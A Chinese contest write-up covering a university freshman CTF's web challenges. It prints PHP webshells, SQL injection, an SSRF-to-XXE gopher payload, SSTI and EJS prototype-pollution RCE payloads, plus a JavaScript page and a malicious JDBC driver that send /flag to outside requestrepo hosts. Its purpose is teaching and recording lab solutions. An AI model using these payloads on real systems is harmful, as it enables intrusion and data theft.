【Web】SCU新生赛个人wp及完赛感想

news2024/12/17 4:32:31

目录

一些碎碎念:

Web Guideline

2048

ezupload

hardupload

ezphp

ezweb

ezsql

webbuilder

tarit

tarit_revenge

VipDinner

simplespi


一些碎碎念:

scu新生赛是我全心全力打的第二场比赛,历时七天,期间不免煎熬,有山重水复后仍疑无路的无能为力,有距离正解仅一念之隔的遗憾,当然,从不缺的是不断尝试最终打出flag的恣意。

回首看去,很多题对于现在的我极具启发性,比赛过程也极大的提升了我的信息检索能力(启蒙于技能兴鲁的经历)

作为3个月ctf生涯的一个阶段性检测,因为队里就我一人,所以自认最后的成绩还算可以(web12/15),给自己打个75分吧。

感谢401的师傅们出的高质量赛题,真就应了“题⽬难度梯度提升,在保证题⽬质量的同时,也有对新手循序渐进的引导”的主题。

期待下学期的校赛,希望在此之前能有破茧成蝶的蜕变!

 

下面直接贴出自己的wp

Web Guideline

查看器中直接看到flag(hidden)

2048

一眼前端js小游戏,常见的考点就是控制台改分

直接console里盲猜一个score,发现有定义

直接改分score=99999999999

然后快速把游戏玩死,弹窗拿到flag

 

ezupload

写马

<?=phpinfo()?>

<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>

上传文件时后缀改为.PHP即可绕过后缀过滤

内容检测则用16进制转字符串来绕过

上传成功后看时间(看当前美国洛杉矶时间,缩小bp文件路径爆破范围)

<?php  

// 设置默认时区为美国洛杉矶  

date_default_timezone_set('America/Los_Angeles');  

// 输出当前时间  

echo date('H:i:s');  

?>

bp爆破出文件路径

直接访问rce拿到flag

hardupload

写马

<?=eval(next(getallheaders()))?>

getallheaders()返回所有的HTTP头信息,但是要注意的一点是这个函数返回的是一个数组,而eval()要求的参数是一个字符串,所以这里不能直接用,这时我们就要想办法将数组转换为字符串,这里再套个next就可以返回字符串

(end也行,但这里再添加hearders貌似不是最后一位,所以盲猜next直接指向UA)

上传时文件后缀改.PHP就可绕过后缀过滤

用下面脚本看一眼时间方便bp爆破上传路径

<?php  

// 设置默认时区为美国洛杉矶  

date_default_timezone_set('America/Los_Angeles');  

// 输出当前时间  

echo date('H:i:s');  

?>

直接访问在UA里rce即可拿到flag

ezphp

?name=123

访问/cache.php

 

?name=".file_put_contents('shell.php','<?php phpinfo();?>')."

访问/cache.php触发file_put_contents,回显18(符合执行成功的返回值)

 

访问/shell.php 

成功写入

?name=".file_put_contents('shell.php','<?php eval($_POST[1])?>')."

访问/cache.php触发file_put_contents,回显23,说明成功执行

 

访问/shell.php

连蚁剑拿flag

 

ezweb

主机存活检测,给了一个ip输入框

测试有无ssrf

baidu.com,成功跳转,猜测存在

查看页面源代码,还有一个xxe.php文件

看了下就是简单的xxe注入,但是限制死了必须是本地访问

 

现在思路就有了,利用主机存活检测的ssrf去对xxe.php发送请求

利用gopher协议构造:

gopher://127.0.0.1:80/_

POST /xxe.php HTTP/1.1

Host: 127.0.0.1

Content-Length: 180

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE info [  

<!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]>

<info>

<name>&name;

</name></info>

需要进行两次url编码

gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

尝试,直接hack,测了下,发现是127.0.0.1被禁用,直接0.0.0.0代替就行

gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A

最后将得到的base64解码即可

ezsql

简单测一测发现是数字型注入

可以直接联合查询,按正常的套路走

/index.php?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

//flag

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"

//flag,id

/index.php?id=1 union select 1,flag from ctf.flag

//where_is_flag

 

明显一个假的flag

sqlmap查了查别的库感觉没有特别明显的flag表

想到flag在某个存储过程的定义里面

已知flag格式为scuctf{uuid}

直接like模糊匹配

/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'

拿到flag

webbuilder

在服务器上起一个flask,源码如下

app.py源码

from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/test', methods=['GET'])
def test():
    name = request.args.get('name')

    # 检查是否提供了 name 参数
    if not name:
        return jsonify(error='Name parameter is missing.'), 400

    # 构建返回的 JSON 数据
    responseData = {
        'len': 15,
        'code': 200  # 获取当前时间戳
    }

    # 设置响应头的 Content-Type 为 application/json
    return jsonify(responseData)

@app.route('/redirect', methods=['GET'])
def redirect_route():
    # 返回状态码为 302 的响应
    return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'}

@app.route('/success', methods=['GET'])
def success_route():
    # Additional logic for /success route if needed
    return 'Success Route'

# 新加的 /js 路由
@app.route('/js', methods=['GET'])
def js_route():
    return """
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CSP with Nonce Example</title>
  <!-- 将生成的 nonce 值传递到前端脚本 -->
  <script>
    const nonce = 'XssFun';  // 这里替换为实际的 nonce
  </script>
  <!-- 在 script 标签中使用 nonce -->
  <script nonce="XssFun">
    // 在这里执行 JavaScript 代码,访问本地 /flag 路由并获取回显
    
    fetchData()
    
    // 定义获取数据的函数
    async function fetchData() {
      try {
        const response = await fetch('http://127.0.0.1:8080/flag');
        const data = await response.text();  // 使用 text() 获取字符串形式的响应
        location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data)
        

      

      } catch (error) {
        console.error('Error fetching data:', error);
      }
    }
    
  </script>
</head>
<body>
  <!-- 在此可以添加其他 HTML 内容 -->
</body>
</html>
    """

if __name__ == '__main__':
    app.run(host="0.0.0.0", port=3000)

因为api检测1那里长度为10-20的随机数,检测2还存在4次全部都是404的可能,所以需要多次爆破

 

 

拿到uuid

访问/report?uuid=xxx(触发bot.js里封装的visit,xss把flag带出)

拿到flag

 

 

tarit

题目就是tar文件上传,题目环境有个解包的过程,这个过程如果我们tar中有个软连接,就会链接到靶机文件

 

上传访问

 没找到flag文件在哪,读环境变量偷家成功

tarit_revenge

先随便上传一个tar文件,发现存在一个文件读取

经过尝试发现../替换成了空,双写绕过即可

 

访问/app.pyc看源码

因为没拿到pyc文件,无法反编译,只能靠猜了(

看出应该是渲染了index.html,可以覆盖index.html来渲染自己的py代码(SSTI)

 

贴出脚本

import requests as req
import tarfile


def changeFileName(filename):
    filename.name = '/app/templates/index.html'
    return filename


with tarfile.open("tar.tar", "w") as tar:
    tar.add('test.py', filter=changeFileName)


def upload():
    url = 'http://43.136.40.245:1389/upload'
    response = req.post(url=url, files={"file": open("tar.tar", 'rb')})
    print(response.text)


if __name__ == "__main__":
    upload()

 

test.py

{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}

//Y0u_C4nt_Find33333333_M3hhh

{{config.__class__.__init__.__globals__['os'].popen('ls /Y0u_C4nt_Find33333333_M3hhh').read()}}

//f144gggggg

{{config.__class__.__init__.__globals__['os'].popen('tac /Y0u_C4nt_Find33333333_M3hhh/f144gggggg').read()}}

//SCUCTF{S0rry_Ab0ut_Th3Th3_R3veng3_QwQ}

VipDinner

先给出参考文章

绕invited=1

MySQL 记录不存在插入 和 存在则更新_mysql 更新或新增-CSDN博客

绕vip

mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客

ejsrce

EJS - Server Side Prototype Pollution gadgets to RCE | mizu.re

mysql注入之长字符截断、orderby注入、HTTP分割注入、limit注入_mysql注入 关键字截断查询原理预防-CSDN博客


首先是绕invited


 

在/login的signup界面先更改掉Alice的密码。把密码覆盖成abcd的md5值

Alice', 'awdaw')

ON DUPLICATE KEY UPDATE

  password = 'e2fc714c4727ee9395f324cd2e7f331f'#

输入Alice abcd即可登录拿到invited=1

接下来绕vip,

发现sql模式为空,data的容量是255

 

在note这里是可以拼接字符进去。但是vip是控不了的,肯定是false。可以在note插入大量字符串,因为数据表的data字段只能容纳255,那么后面vip等于false就会被截断掉 

 

接下来是ejsrce部分

显然finish调用了merge

/check调用了finish

 

/bill调用了res.render()

 

下面就是调payload(长度为255即可)

用这个网站计算字符串长度

在线文本字符数统计工具 - UU在线工具

最终payload:

{"ids":[10],"createTime":"2023-12-8","price":16,"note":"aa","__proto__":{"view

options":{"client":1,"escapeFunction":"(() => {});return

process.mainModule.require('child_process').execSync('cat

/flag').toString()"}},"vip":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"}}

注意要给引号转义(让bp里识别成note的键值)

aa\",\"__proto__\":{\"view options\":{\"client\":1,\"escapeFunction\":\"(() =>

{});return process.mainModule.require('child_process').execSync('cat

/flag').toString()\"}},\"vip\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"}

访问/check?order=1触发finish污染成功

访问/bill?order=1拿到flag 

simplespi

审计代码。代码没啥过滤的。就是一个上传jar包。和写了一个类似spi后门的东西。会加载我们的jar包

从SPI机制到JDBC后门实现 | CTF导航

加载的部分和上面文章的例子很像

关键就是生成一个和上面文章那个jar包结构相同的恶意jar包

 

最后新建的项目结构如图

 

MySQLDriver(抄文章代码,就改了个LinuxCmd)

package com;
import java.sql.*;
import java.util.*;
import java.util.logging.*;
public class MySQLDriver implements Driver {
    protected static boolean DEBUG = false;
    protected static final String WindowsCmd = "calc";
    protected static final String LinuxCmd = "curl 7s5ogi9m.requestrepo.com -T /flag";
    protected static String shell;
    protected static String args;
    protected static String cmd;
    static{
        if(DEBUG){
            Logger.getGlobal().info("Entered static JDBC driver initialization block, executing the payload...");
        }
        if( System.getProperty("os.name").toLowerCase().contains("windows") ){
            shell = "cmd.exe";
            args = "/c";
            cmd = WindowsCmd;
        } else {
            shell = "/bin/sh";
            args = "-c";
            cmd = LinuxCmd;
        }
        try{
            Runtime.getRuntime().exec(new String[] {shell, args, cmd});
        } catch(Exception ignored) {
        }
    }
    // JDBC methods below
    public boolean acceptsURL(String url){
        if(DEBUG){
            Logger.getGlobal().info("acceptsURL() called: "+url);
        }
        return false;
    }
    public Connection connect(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("connect() called: "+url);
        }
        return null;
    }
    public int getMajorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }
        return 1;
    }
    public int getMinorVersion(){
        if(DEBUG){
            Logger.getGlobal().info("getMajorVersion() called");
        }
        return 0;
    }
    public Logger getParentLogger(){
        if(DEBUG){
            Logger.getGlobal().info("getParentLogger() called");
        }
        return null;
    }
    public DriverPropertyInfo[] getPropertyInfo(String url, Properties info){
        if(DEBUG){
            Logger.getGlobal().info("getPropertyInfo() called: "+url);
        }
        return new DriverPropertyInfo[0];
    }
    public boolean jdbcCompliant(){
        if(DEBUG){
            Logger.getGlobal().info("jdbcCompliant() called");
        }
        return true;
    }
}

运行下面命令就会在当前目录生成恶意jar包

javac src/com/MySQLDriver.java

jar -cvf evil2.jar -C src/ .

上传evil2.jar

访问/init?name=evil2(审源码)

这时候就成功外带拿到flag 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1299283.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Fabric链码部署-go语言

最近在搞Fabric&#xff0c;今天刚刚明白如何把自己的链码部署并能跑通 网上的中文教程完全不友好&#xff0c;上来直接开始写代码&#xff0c;我连新建什么文件夹都不知道啊&#xff01;&#xff01; 于是痛定思痛&#xff0c;爆肝了一周多的官方文档 准备自己写一个&#…

调用别人提供的接口无法通过try catch捕获异常(C#),见鬼了

前几天做CA签名这个需求时发现一个很诡异的事情&#xff0c;CA签名调用的接口是由另外一个开发部门的同事(比较难沟通的那种人)封装并提供到我们这边的。我们这边只需要把数据准备好&#xff0c;然后调他封装的接口即可完成签名操作。但在测试过程中&#xff0c;发现他提供的接…

用23种设计模式打造一个cocos creator的游戏框架----(五)工厂方法模式

1、模式标准 模式名称&#xff1a;工厂方法模式 模式分类&#xff1a;创建型 模式意图&#xff1a;定义一个用于创建对象的接口&#xff0c;让子类决定实例化哪一个类。工厂方法使一个类的实例化延迟到其子类。 结构图&#xff1a; 适用于&#xff1a; 1、当一个类不知道它…

探索开源游戏的乐趣与无限可能 | 开源专题 No.47

CleverRaven/Cataclysm-DDA Stars: 9.0k License: NOASSERTION Cataclysm&#xff1a;Dark Days Ahead 是一个回合制的生存游戏&#xff0c;设定在一个后启示录世界中。尽管有些人将其描述为 “僵尸游戏”&#xff0c;但 Cataclysm 远不止于此。在这个残酷、持久、程序生成的世…

RocketMq集成SpringBoot(待完善)

环境 jdk1.8, springboot2.7.3 Maven依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.3</version><relativePath/> <!-- lookup parent from…

Sprint Boot 3.0

1. 简介 视频教程特点&#xff1a; Spring Cloud带动了Spring BootSpring Boot成就了Spring Cloud

彻底解决org.gradle.api.artifacts.DependencySubstitutions

需求背景 最近在使用android studio导入hbuilder的HBuilder-Integrate-AS工程时候报错&#xff0c;错误消息如下两种。 错误描述 第一种 Failed to notify dependency resolution listener. void org.gradle.api.artifacts.DependencySubstitutions$Substitution.with(org.g…

【工具使用-JFlash】如何使用Jflash擦除和读取MCU内部指定扇区的数据

一&#xff0c;简介 在调试的过程中&#xff0c;特别是在调试向MCU内部flash写数据的时候&#xff0c;我们常常要擦除数据区的内容&#xff0c;而不想擦除程序取。那这种情况就需要擦除指定的扇区数据即可。本文介绍一种方法&#xff0c;可以擦除MCU内部Flash中指定扇区的数据…

【数据库】简单连接嵌套查询

目录 &#x1f387;简单查询 &#x1f387;连接查询 &#x1f387;嵌套查询 分析&思考 &#x1f387;简单查询 --练习简单查询 --select * from classes --select * from student --select * from scores --1.按Schedule表的结构要求用SQL语言创建Schedule表 --字段名…

linux 应用开发笔记---【标准I/O库/文件属性及目录】

一&#xff0c;什么是标准I/O库 标准c库当中用于文件I/O操作相关的一套库函数&#xff0c;实用标准I/O需要包含头文件 二&#xff0c;文件I/O和标准I/O之间的区别 1.标准I/O是库函数&#xff0c;而文件I/O是系统调用 2.标准I/O是对文件I/O的封装 3.标准I/O相对于文件I/O具有更…

基于ssm校园活动管理平台论文

摘 要 使用旧方法对校园活动信息进行系统化管理已经不再让人们信赖了&#xff0c;把现在的网络信息技术运用在校园活动信息的管理上面可以解决许多信息管理上面的难题&#xff0c;比如处理数据时间很长&#xff0c;数据存在错误不能及时纠正等问题。 这次开发的校园活动管理平…

2024年网络安全竞赛-Web安全应用

Web安全应用 (一)拓扑图 任务环境说明: 1.获取PHP的版本号作为Flag值提交;(例如:5.2.14) 2.获取MySQL数据库的版本号作为Flag值提交;(例如:5.0.22) 3.获取系统的内核版本号作为Flag值提交;(例如:2.6.18) 4.获取网站后台管理员admin用户的密码作为Flag值提交…

【Linux】探索Linux进程状态 | 僵尸进程 | 孤儿进程

最近&#xff0c;我发现了一个超级强大的人工智能学习网站。它以通俗易懂的方式呈现复杂的概念&#xff0c;而且内容风趣幽默。我觉得它对大家可能会有所帮助&#xff0c;所以我在此分享。点击这里跳转到网站。 目录 一、进程状态1.1运行状态1.2阻塞状态1.3挂起状态 二、具体L…

C++ queue 和priority_queue

目录 1.什么是queue 2.模拟实现 3.仿函数 模板参数Compare 仿函数 4.什么是priority_queue 模拟实现 1.什么是queue 1.队列是一种容器适配器&#xff0c;专门用于在FIFO上下文(先进先出)中操作&#xff0c;其中从容器一端插入元素&#xff0c;另一端提取元素。 2.队列作为…

【数据结构】——排序篇(中)

前面我们已经了解了几大排序了&#xff0c;那么我们今天就来再了解一下剩下的快速排序法&#xff0c;这是一种非常经典的方法&#xff0c;时间复杂度是N*logN。 快速排序法&#xff1a; 基本思想为&#xff1a;任取待排序元素序列中的某元素作为基准值&#xff0c;按照该排序码…

医疗大模型产品收集

在之前的一篇文章【LLM大模型中文开源数据集集锦&#xff08;三&#xff09;】采集到了一些医疗大模型所使用的数据&#xff0c;数据中比较多的是竞赛中出现训练集&#xff0c;对话语料居多。 大模型也出现好一阵子&#xff0c;一些医疗大模型产品化、开源模型也越来越多&#…

Proteus仿真--基于51单片机的EPROM2764仿真设计

本文介绍基于51单片机的EPROM2764仿真设计&#xff08;完整仿真源文件及代码见文末链接&#xff09; 开机时&#xff0c;将写在EPROM中的图像显示在LCD上 仿真图如下 仿真运行视频 Proteus仿真--基于51单片机的EPROM2764仿真设计 附完整Proteus仿真资料代码资料 链接&#x…

PID控制参数整定(调节方法)原理+图示+MATLAB调试

PID控制参数整定&#xff08;调节方法&#xff09;原理图示MATLAB调试 Chapter1 PID控制参数整定&#xff08;调节方法&#xff09;原理图示MATLAB调试序一、P参数选取二、I的调节三、D的调节四、总结 Chapter2 PID参数调整&#xff0c;个人经验&#xff08;配输出曲线图&#…

Python基础(四、探索迷宫游戏)

Python基础&#xff08;四、探索迷宫游戏&#xff09; 游戏介绍游戏说明 游戏介绍 在这个游戏中&#xff0c;你将扮演一个勇敢的冒险者&#xff0c;进入了一个神秘的迷宫。你的任务是探索迷宫的每个房间&#xff0c;并最终找到隐藏在其中的宝藏。 游戏通过命令行界面进行交互…

简单实现Spring容器(四) 依赖注入

阶段4: // 1.编写自己的Spring容器,实现扫描包,得到bean的class对象. // 2.扫描将 bean 信息封装到 BeanDefinition对象,并放入到Map.//3.初始化单例池并完成getBean() createBean()方法4.完成依赖注入(如果创建某个Bean对象,存在依赖注入,需要进行bean组装操作)思路: 1.在an…